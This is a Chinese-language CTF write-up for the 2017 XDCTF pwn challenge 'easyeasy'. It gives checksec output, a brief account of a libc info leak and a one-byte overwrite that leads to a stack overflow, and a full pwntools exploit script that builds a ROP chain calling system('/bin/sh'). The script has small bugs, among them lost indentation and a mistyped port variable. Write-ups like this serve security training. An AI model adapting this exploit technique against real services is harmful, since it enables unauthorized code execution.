2017 XDCTF Writeup

easyeasy

分析

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/swing/Desktop/CTF-Pwn/xdctf/easyeasy/easyeasy'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

这个地方可以做info leak


当我们触发 目标死亡当那个函数的时候,它会在当前结构体地址+id的地址写入luckynum的最后一位byte



我们可以通过控制最后一个字节,跳转到0x400aaf,

紧接着我们就可以做一次栈溢出了。。。

构造rop

exploit 编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# coding=utf-8

from pwn import *
import time

ip = "127.0.0.1"
port = 8080

if len(sys.argv) > 1:
debug = True
else:
debug = False

if debug :
io = process("./easyeasy")
context.log_level = 'debug'
elf = ELF("./easyeasy")
libc = ELF("./libc.so.6")
system_offset = libc.symbols['system']
binsh_offset = next(libc.search("/bin/sh"))
else:
io = remote(ip,por)
context.log_level ='debug'



def create(len_weapon,weapon_name):
io.recvuntil('exit\n')
io.sendline('1')
io.recvuntil('name:\n')
io.sendline(str(len_weapon))
io.recvuntil('name:\n')
io.sendline(str(weapon_name))

def shot(target):
io.recvuntil("exit\n")
io.sendline("4")
io.recvuntil("C++\n")
io.sendline("1")
io.recvuntil("id:\n")
io.sendline(str(target))

raw_input("debug")
gdb.attach(io,'break *0x400AA0')
io.recvuntil('Your name :')
io.sendline('A'*7)
io.recvuntil('A'*7+'\n')

libc_base = u64(io.recvn(6).ljust(8,'\x00')) -0x3c3750

log.info("libc_base: %s" % hex(libc_base))
pause()
create(0x100,"AAA")
pause()
shot(0x20)
pause()
for i in range(3):
io.recvuntil("exit\n")
io.sendline('4')
io.recvuntil("C++")
io.sendline("4")

raw_input("loop 3 over")
io.recvuntil("luckynum:\n")
pause()
io.sendline(str(0xafafafaf))
pause()
payload = "A"*0x10
payload += p64(0x4010b3) #pop rdi ret
payload += p64(libc_base + binsh_offset)
payload += p64(libc_base + system_offset)
pause()
io.sendline(payload)

io.interactive()